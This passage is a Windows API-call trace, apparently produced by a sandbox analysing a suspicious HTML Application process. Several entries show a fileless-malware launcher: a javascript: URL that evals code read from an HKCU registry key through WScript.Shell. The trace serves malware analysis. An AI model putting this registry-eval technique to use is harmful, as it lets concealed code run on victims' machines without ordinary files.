LdrResolveDelayLoadedAPI () returned 0x75fc5560 [0252.293] ConvertSidToStringSidW () returned 0x1 [0252.293] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xe2) returned 0x927ec0 [0252.293] _vsnwprintf (in: _Buffer=0x927ec0, _BufferCount=0x70, _Format="%s%s", _ArgList=0x3df1c8 | out: _Buffer="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Parental Controls\\Users\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 111 [0252.293] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Parental Controls\\Users\\S-1-5-21-1051304884-625712362-2192934891-1000", ulOptions=0x0, samDesired=0x101, phkResult=0x3df1e4 | out: phkResult=0x3df1e4*=0x0) returned 0x2 [0252.293] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x927ec0 | out: hHeap=0x8f0000) returned 1 [0252.293] LocalFree (hMem=0x927e58) returned 0x0 [0252.293] LocalFree (hMem=0x926a78) returned 0x0 [0252.293] CloseHandle (hObject=0x1cc) returned 1 [0252.293] IUnknown:AddRef (This=0x909750) returned 0x2 [0252.294] RegisterBindStatusCallback (in: pBC=0x909750, pBSCb=0x927e30, ppBSCBPrev=0x0, dwReserved=0x0 | out: ppBSCBPrev=0x0) returned 0x0 [0252.294] IUnknown:AddRef (This=0x927e30) returned 0x3 [0252.294] IUnknown:QueryInterface (in: This=0x927e30, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3df210 | out: ppvObject=0x3df210*=0x927df0) returned 0x0 [0252.294] IMoniker:RemoteBindToStorage (in: This=0x8fd120, pbc=0x909750, pmkToLeft=0x0, riid=0x728c2b84, ppvObj=0x3df278 | out: ppvObj=0x3df278*=0x0) returned 0x401e8 [0252.294] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3de998 | out: ppv=0x3de998*=0x7376b5fc) returned 0x0 [0252.295] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3dee64 | out: ppvObject=0x3dee64*=0x7376b608) returned 0x0 [0252.295] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.295] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x90a8f0, cchResult=0x824, pcchResult=0x3df17c, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3df17c*=0x0) returned 0x800c0011 [0252.295] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.295] IUnknown:QueryInterface (in: This=0x927e30, riid=0x7410a078*(Data1=0xaaa74ef9, Data2=0x8ee7, Data3=0x4659, Data4=([0]=0x88, [1]=0xd9, [2]=0xf8, [3]=0xc5, [4]=0x4, [5]=0xda, [6]=0x73, [7]=0xcc)), ppvObject=0x3df110 | out: ppvObject=0x3df110*=0x927e30) returned 0x0 [0252.295] IBindStatusCallbackEx:RemoteGetBindInfoEx (in: This=0x927e30, grfBINDF=0x928118, pbindinfo=0x9281d4, pstgmed=0x92811c, grfBINDF2=0x928120, pdwReserved=0x7414d760 | out: grfBINDF=0x928118*=0x483, pbindinfo=0x9281d4, pstgmed=0x92811c, grfBINDF2=0x928120*=0x0, pdwReserved=0x7414d760*=0x8b55ff8b) returned 0x0 [0252.296] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x3dec40, dwReserved=0x0 | out: ppSM=0x3dec40*=0x918460) returned 0x0 [0252.296] IUnknown:QueryInterface (in: This=0x918460, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x3dec48 | out: ppvObject=0x3dec48*=0x918460) returned 0x0 [0252.296] IUnknown:Release (This=0x918460) returned 0x1 [0252.296] IUnknown:Release (This=0x918460) returned 0x0 [0252.297] IUnknown:Release (This=0x927e30) returned 0x4 [0252.297] IUnknown:QueryInterface (in: This=0x927e30, riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3df104 | out: ppvObject=0x3df104*=0x0) returned 0x80004002 [0252.297] IServiceProvider:QueryService (in: This=0x927df0, guidService=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3df104 | out: ppvObject=0x3df104*=0x0) returned 0x80004002 [0252.297] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3df04c | out: ppv=0x3df04c*=0x7376b5fc) returned 0x0 [0252.297] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.300] IUnknown:QueryInterface (in: This=0x927e30, riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3deff4 | out: ppvObject=0x3deff4*=0x0) returned 0x80004002 [0252.300] IServiceProvider:QueryService (in: This=0x927df0, guidService=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3deff4 | out: ppvObject=0x3deff4*=0x0) returned 0x80004002 [0252.300] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3df000 | out: ppv=0x3df000*=0x7376b5fc) returned 0x0 [0252.300] IClassFactory:CreateInstance (in: This=0x7376b5fc, pUnkOuter=0x928260, riid=0x7410a57c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x9282a0 | out: ppvObject=0x9282a0*=0x11ba0b0) returned 0x0 [0252.301] IUnknown_QueryService (in: punk=0x928260, guidService=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvOut=0x3df024 | out: ppvOut=0x3df024*=0x119a01c) returned 0x0 [0252.301] IUnknown:QueryInterface (in: This=0x927e30, riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x3deef0 | out: ppvObject=0x3deef0*=0x0) returned 0x80004002 [0252.301] IServiceProvider:QueryService (in: This=0x927df0, guidService=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x3deef0 | out: ppvObject=0x3deef0*=0x119a01c) returned 0x0 [0252.301] IUnknown:QueryInterface (in: This=0x11ba0b0, riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x9282f0 | out: ppvObject=0x9282f0*=0x11ba0cc) returned 0x0 [0252.301] IUnknown:AddRef (This=0x928260) returned 0x7 [0252.301] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.301] IUnknown:QueryInterface (in: This=0x11ba0cc, riid=0x7410b1ac*(Data1=0x7daf9908, Data2=0x8415, Data3=0x4005, Data4=([0]=0x95, [1]=0xae, [2]=0xbd, [3]=0x27, [4]=0xf6, [5]=0xe3, [6]=0xdc, [7]=0x0)), ppvObject=0x3df12c | out: ppvObject=0x3df12c*=0x0) returned 0x80004002 [0252.301] IUnknown:QueryInterface (in: This=0x928260, riid=0x7410b1ac*(Data1=0x7daf9908, Data2=0x8415, Data3=0x4005, Data4=([0]=0x95, [1]=0xae, [2]=0xbd, [3]=0x27, [4]=0xf6, [5]=0xe3, [6]=0xdc, [7]=0x0)), ppvObject=0x3df12c | out: ppvObject=0x3df12c*=0x0) returned 0x80004002 [0252.301] IUnknown:QueryInterface (in: This=0x11ba0b0, riid=0x7410b1ac*(Data1=0x7daf9908, Data2=0x8415, Data3=0x4005, Data4=([0]=0x95, [1]=0xae, [2]=0xbd, [3]=0x27, [4]=0xf6, [5]=0xe3, [6]=0xdc, [7]=0x0)), ppvObject=0x3df12c | out: ppvObject=0x3df12c*=0x0) returned 0x80004002 [0252.302] IUnknown:AddRef (This=0x11ba0cc) returned 0x8 [0252.302] IUnknown:AddRef (This=0x928260) returned 0x8 [0252.302] IUnknown:AddRef (This=0x11ba0b0) returned 0x0 [0252.302] IUnknown:QueryInterface (in: This=0x11ba0b0, riid=0x7410b184*(Data1=0xeb5cda44, Data2=0x5086, Data3=0x44fe, Data4=([0]=0xa9, [1]=0xb1, [2]=0xc6, [3]=0x42, [4]=0x13, [5]=0x53, [6]=0xa5, [7]=0x46)), ppvObject=0x3df0a8 | out: ppvObject=0x3df0a8*=0x0) returned 0x80004002 [0252.302] IUnknown:QueryInterface (in: This=0x11ba0b0, riid=0x7410a5dc*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x3df0cc | out: ppvObject=0x3df0cc*=0x0) returned 0x80004002 [0252.302] IUnknown:AddRef (This=0x928260) returned 0xa [0252.302] CoInternetParseUrl (in: pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=0x13, dwFlags=0x0, pszResult=0x3dd088, cchResult=0x1000, pcchResult=0x3dd084, dwReserved=0x0 | out: pszResult="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pcchResult=0x3dd084) returned 0x0 [0252.302] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dcb48 | out: ppv=0x3dcb48*=0x7376b5fc) returned 0x0 [0252.302] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3dd02c | out: ppvObject=0x3dd02c*=0x7376b608) returned 0x0 [0252.302] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.302] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=19, dwParseFlags=0x0, pwzResult=0x3dd088, cchResult=0x1000, pcchResult=0x3dd084, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3dd084*=0x3dd1d0) returned 0x800c0011 [0252.302] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.303] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xce) returned 0x92a768 [0252.303] IUnknown:Release (This=0x11ba0cc) returned 0xa [0252.303] IUnknown:Release (This=0x928260) returned 0xa [0252.303] IUnknown:Release (This=0x11ba0b0) returned 0x1 [0252.303] IUnknown:Release (This=0x909750) returned 0x2 [0252.303] IUnknown:Release (This=0x9182e0) returned 0x1 [0252.303] IUnknown:Release (This=0x9116a4) returned 0x8 [0252.303] IUnknown:Release (This=0x9156bc) returned 0x19 [0252.303] IUnknown:Release (This=0x9156bc) returned 0x18 [0252.303] IUnknown:Release (This=0x9156bc) returned 0x17 [0252.303] CoTaskMemFree (pv=0x0) [0252.303] GetCurrentThreadId () returned 0x15c [0252.303] GetCurrentProcessId () returned 0xec8 [0252.303] IUnknown:Release (This=0x9156bc) returned 0x16 [0252.303] IUnknown:Release (This=0x9116a4) returned 0x7 [0252.303] IUnknown:Release (This=0x8fd120) returned 0x3 [0252.304] IUnknown:Release (This=0x9156bc) returned 0x15 [0252.304] IUnknown:Release (This=0x9156bc) returned 0x14 [0252.304] IUnknown:Release (This=0x9156bc) returned 0x13 [0252.304] IUnknown:Release (This=0x8fd120) returned 0x2 [0252.304] IUnknown:Release (This=0x9156bc) returned 0x12 [0252.304] CoTaskMemFree (pv=0x91b668) [0252.304] CoTaskMemFree (pv=0x0) [0252.304] IUnknown:Release (This=0x9156bc) returned 0x11 [0252.304] CoTaskMemFree (pv=0x91c598) [0252.304] GetClientRect (in: hWnd=0x70044, lpRect=0x3dfd84 | out: lpRect=0x3dfd84) returned 1 [0252.304] GetClientRect (in: hWnd=0x70044, lpRect=0x116a09c | out: lpRect=0x116a09c) returned 1 [0252.304] OffsetRect (in: lprc=0x116a09c, dx=0, dy=0 | out: lprc=0x116a09c) returned 1 [0252.304] OffsetRect (in: lprc=0x116a0ac, dx=0, dy=0 | out: lprc=0x116a0ac) returned 1 [0252.304] RegisterClassExW (param_1=0x3dfa50) returned 0xc0f8 [0252.304] CoCreateInstance (in: rclsid=0x728be490*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x728be4a0*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x7388a1f8 | out: ppv=0x7388a1f8*=0x926820) returned 0x0 [0252.310] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0x926820, aaClassList=0x3dfb24*=0xc0f8, uSize=0x1) returned 0x0 [0252.310] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc0f8, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=585, hWndParent=0x70044, hMenu=0x0, hInstance=0x726c0000, lpParam=0x1170000) returned 0x300ec [0252.310] SetWindowLongW (hWnd=0x300ec, nIndex=-21, dwNewLong=18284544) returned 0 [0252.310] GetWindowLongW (hWnd=0x300ec, nIndex=-20) returned 0 [0252.310] GetAncestor (hwnd=0x300ec, gaFlags=0x2) returned 0x70044 [0252.310] GetWindowLongW (hWnd=0x70044, nIndex=-20) returned 262400 [0252.310] GetWindowLongW (hWnd=0x300ec, nIndex=-20) returned 0 [0252.310] GetParent (hWnd=0x300ec) returned 0x70044 [0252.310] GetWindowLongW (hWnd=0x70044, nIndex=-20) returned 262400 [0252.310] GetParent (hWnd=0x70044) returned 0x70126 [0252.310] GetWindowLongW (hWnd=0x70126, nIndex=-20) returned 256 [0252.310] GetParent (hWnd=0x70126) returned 0x0 [0252.311] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x81, wParam=0x0, lParam=0x3df6b0*=18284544, plResult=0x3df4a8 | out: plResult=0x3df4a8) returned 0x1 [0252.311] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x81, wParam=0x0, lParam=0x3df6b0) returned 0x1 [0252.311] GetCurrentThreadId () returned 0x15c [0252.311] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.311] GetCurrentThreadId () returned 0x15c [0252.311] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.311] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x1, wParam=0x0, lParam=0x3df6b0*=18284544, plResult=0x3df4a8 | out: plResult=0x3df4a8) returned 0x1 [0252.311] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x1, wParam=0x0, lParam=0x3df6b0) returned 0x0 [0252.311] GetCurrentThreadId () returned 0x15c [0252.312] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.312] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x5, wParam=0x0, lParam=0x2490428, plResult=0x3df4f4 | out: plResult=0x3df4f4) returned 0x1 [0252.312] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x5, wParam=0x0, lParam=0x2490428) returned 0x0 [0252.312] GetCurrentThreadId () returned 0x15c [0252.312] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.312] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x3, wParam=0x0, lParam=0x0, plResult=0x3df4f4 | out: plResult=0x3df4f4) returned 0x1 [0252.312] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0252.312] GetCurrentThreadId () returned 0x15c [0252.312] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x210, wParam=0x1, lParam=0x300ec) returned 0x0 [0252.312] GetWindowRect (in: hWnd=0x300ec, lpRect=0x3df908 | out: lpRect=0x3df908) returned 1 [0252.312] GetParent (hWnd=0x300ec) returned 0x70044 [0252.312] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x70044, lpPoints=0x3df908, cPoints=0x2 | out: lpPoints=0x3df908) returned -15597784 [0252.312] GetClassNameW (in: hWnd=0x70044, lpClassName=0x3df918, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34 [0252.312] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.312] GetCurrentThreadId () returned 0x15c [0252.312] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0x926820, fRestoreLayout=1) returned 0x0 [0252.312] SendMessageW (hWnd=0x300ec, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0252.312] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.312] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x129, wParam=0x0, lParam=0x0, plResult=0x3df994 | out: plResult=0x3df994) returned 0x1 [0252.312] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0252.312] GetCurrentThreadId () returned 0x15c [0252.313] LoadLibraryExW (lpLibFileName="ext-ms-win-ntuser-touch-hittest-l1-1-0.dll", hFile=0x0, dwFlags=0x0) returned 0x74b70000 [0252.313] GetProcAddress (hModule=0x74b70000, lpProcName="RegisterTouchHitTestingWindow") returned 0x74ba3b50 [0252.313] RegisterTouchHitTestingWindow (hwnd=0x300ec, value=0x1) returned 1 [0252.313] QISearch (in: that=0x116c480, pqit=0x726fb30c, riid=0x728be43c*(Data1=0xa5200748, Data2=0x18ae, Data3=0x4da5, Data4=([0]=0x93, [1]=0xaf, [2]=0x0, [3]=0x19, [4]=0x47, [5]=0x70, [6]=0x3, [7]=0xa1)), ppv=0x1170e20 | out: that=0x116c480, ppv=0x1170e20*=0x116c480) returned 0x0 [0252.313] IntersectRect (in: lprcDst=0x3dfb84, lprcSrc1=0x116a09c, lprcSrc2=0x116a0ac | out: lprcDst=0x3dfb84) returned 1 [0252.313] EqualRect (lprc1=0x3dfb84, lprc2=0x116a09c) returned 1 [0252.313] InvalidateRect (hWnd=0x300ec, lpRect=0x0, bErase=1) returned 1 [0252.314] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x9990) returned 0x92c740 [0252.314] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x110) returned 0x90b850 [0252.314] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xb0) returned 0x9360d8 [0252.315] GetCurrentProcessId () returned 0xec8 [0252.315] ProcessIdToSessionId (in: dwProcessId=0xec8, pSessionId=0x3dfa58 | out: pSessionId=0x3dfa58) returned 1 [0252.315] WTSGetActiveConsoleSessionId () returned 0x1 [0252.315] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x3dfa78 | out: lpDevMode=0x3dfa78) returned 1 [0252.315] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.315] GetCurrentThreadId () returned 0x15c [0252.315] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x90) returned 0x936190 [0252.315] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x34) returned 0x909210 [0252.315] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x24) returned 0x913048 [0252.316] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x6c) returned 0x936250 [0252.316] QueryPerformanceCounter (in: lpPerformanceCount=0x1170a00 | out: lpPerformanceCount=0x1170a00*=25561899219) returned 1 [0252.316] GetCurrentThreadId () returned 0x15c [0252.316] GetCurrentThreadId () returned 0x15c [0252.316] GetCurrentThreadId () returned 0x15c [0252.317] QueryPerformanceCounter (in: lpPerformanceCount=0x3dfaf8 | out: lpPerformanceCount=0x3dfaf8*=25561959519) returned 1 [0252.317] QueryPerformanceCounter (in: lpPerformanceCount=0x3dfa74 | out: lpPerformanceCount=0x3dfa74*=25561984723) returned 1 [0252.317] QueryPerformanceCounter (in: lpPerformanceCount=0x3dfa68 | out: lpPerformanceCount=0x3dfa68*=25561991140) returned 1 [0252.317] QueryPerformanceCounter (in: lpPerformanceCount=0x3dfa0c | out: lpPerformanceCount=0x3dfa0c*=25561997495) returned 1 [0252.317] SetCoalescableTimer (hWnd=0x9002e, nIDEvent=0x2002, uElapse=0x1f4, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2002 [0252.318] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.318] GetCurrentThreadId () returned 0x15c [0252.318] QueryPerformanceCounter (in: lpPerformanceCount=0x3df9fc | out: lpPerformanceCount=0x3df9fc*=25562031651) returned 1 [0252.318] QueryPerformanceCounter (in: lpPerformanceCount=0x3df91c | out: lpPerformanceCount=0x3df91c*=25562040719) returned 1 [0252.318] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x374 [0252.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72a18920, lpParameter=0x11aa000, dwCreationFlags=0x0, lpThreadId=0x11aa014 | out: lpThreadId=0x11aa014*=0x720) returned 0x1cc [0252.318] SetEvent (hEvent=0x374) returned 1 [0252.318] GetTickCount () returned 0x3e65a [0252.319] WTSGetActiveConsoleSessionId () returned 0x1 [0252.319] QueryPerformanceFrequency (in: lpFrequency=0x3df878 | out: lpFrequency=0x3df878*=100000000) returned 1 [0252.319] QueryPerformanceCounter (in: lpPerformanceCount=0x3df870 | out: lpPerformanceCount=0x3df870*=25562127682) returned 1 [0252.319] _vsnwprintf (in: _Buffer=0x3df900, _BufferCount=0x4f, _Format="VSyncHelper-%p-%I64x", _ArgList=0x3df88c | out: _Buffer="VSyncHelper-0114E2D0-f3c789c") returned 28 [0252.319] RegisterClassW (lpWndClass=0x3df8d8) returned 0xc16b [0252.319] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc16b, lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x114e2d0) returned 0x80016 [0252.319] GetWindowLongW (hWnd=0x80016, nIndex=-21) returned 0 [0252.319] NtdllDefWindowProc_W (hWnd=0x80016, Msg=0x24, wParam=0x0, lParam=0x3df424) returned 0x0 [0252.319] GetWindowLongW (hWnd=0x80016, nIndex=-21) returned 0 [0252.319] NtdllDefWindowProc_W (hWnd=0x80016, Msg=0x81, wParam=0x0, lParam=0x3df418) returned 0x1 [0252.320] GetWindowLongW (hWnd=0x80016, nIndex=-21) returned 0 [0252.320] NtdllDefWindowProc_W (hWnd=0x80016, Msg=0x83, wParam=0x0, lParam=0x3df404) returned 0x0 [0252.320] GetWindowLongW (hWnd=0x80016, nIndex=-21) returned 0 [0252.320] NtdllDefWindowProc_W (hWnd=0x80016, Msg=0x1, wParam=0x0, lParam=0x3df418) returned 0x0 [0252.322] SetWindowLongW (hWnd=0x80016, nIndex=-21, dwNewLong=18146000) returned 0 [0252.322] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x378 [0252.322] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x8000004, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28, lpName=0x0) returned 0x37c [0252.322] MapViewOfFile (hFileMappingObject=0x37c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28) returned 0x1290000 [0252.323] GetCurrentProcessId () returned 0xec8 [0252.323] GetCurrentThreadId () returned 0x15c [0252.323] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x3df7f8, lpTimeIncrement=0x3df80c, lpTimeAdjustmentDisabled=0x3df7fc | out: lpTimeAdjustment=0x3df7f8, lpTimeIncrement=0x3df80c, lpTimeAdjustmentDisabled=0x3df7fc) returned 1 [0252.323] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x380 [0252.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72b09110, lpParameter=0x116a1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0252.323] RegisterPowerSettingNotification (hRecipient=0x80016, PowerSettingGuid=0x728c21d0, Flags=0x0) returned 0x90fa60 [0252.324] OpenProcess (dwDesiredAccess=0x100040, bInheritHandle=0, dwProcessId=0xec8) 